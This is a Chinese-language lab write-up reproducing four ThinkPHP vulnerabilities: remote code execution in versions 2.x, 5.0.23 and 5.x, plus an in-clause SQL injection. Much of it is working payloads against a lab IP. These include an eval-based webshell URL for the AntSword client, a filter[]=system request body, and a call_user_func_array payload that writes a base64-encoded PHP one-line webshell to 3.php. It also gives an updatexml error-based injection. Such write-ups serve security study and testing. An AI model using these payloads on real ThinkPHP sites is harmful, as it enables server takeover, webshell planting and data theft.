参考文章:https://blog.csdn.net/weixin_43071873/article/details/110084577
一、2-RCE
漏洞详情:
ThinkPHP是一个免费开源的一个PHP开发框架。ThinkPHP2.x版本中,使用preg_replace的/e模式匹配路由:
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
e配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行;/e可执行模式,此为PHP专有参数,例如preg_replace函数。
implode(depr,paths)作用就是把路径当作参数放进了数组$depr里面
1.构造poc:?s=/index/index/name/$%7B@phpinfo()%7D,phpinfo执行成功证明存在漏洞
2.直接用system调用命令好像不行,可能因为中间掺杂了一些符号,可利用eval函数进行绕过。
?s=/index/index/L/KaTeX parse error: Expected '}', got 'EOF' at end of input:{@print(eval(_POST[1]))}
3.使用蚁剑连接地址为:(加$号)
http://192.168.225.139:8080/?s=/index/index/L/${@print(eval($_POST[1]))}
成功getshell
二、5.0.23-RCE
漏洞概况
攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。
漏洞危害
攻击者可通过该漏洞获取网站的控制权限,可修改页面,导致数据泄漏等问题。
1.利用system函数远程命令执行,利用bp抓包,修改请求方式,使用poc进行攻击:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
2.pwd查询到路径,尝试使用echo写入一句话木马:(尝试了很久都不能写入,最终发现echo不能换行,返回500状态码,但是可以访问了,如果还是无法写入,就进行base64编码写入,只不过连接蚁剑的时候要选择base64)
Base64编码:
3.使用蚁剑进行连接:
三、5-RCE
漏洞原因:
ThinkPHP其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
1.直接访问
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
即可执行phpinfo:
2.修改一下payload,执行system命令,尝试写入一句话getshell:
http://192.168.225.139:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n MTIzPD9waHAgQGFzc2VydCgkX1BPU1RbJzEnXSk7Pz4xMjM= | base64 -d >3.php
四、in-sqlinjection
漏洞成因:
在Builder类的parseData方法中,由于程序没有对数据进行很好的过滤,将数据拼接进SQL语句,导致SQL注入漏洞的产生。控制了in语句的值位置,即可通过传入一个数组,来造成SQL注入漏洞。
1.爆出用户名和密码:
http://192.168.225.139/index.php?ids[]=1&ids[]=2
2.错误回显敏感信息,获取user()信息:
http://192.168.225.139/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
payload构造:http://IP/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]
3.这好像是一个比较鸡肋的SQL注入漏洞。
预编译是mysql服务端进行的,但是预编译的过程是不接触数据的,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来
研究参考文章:https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html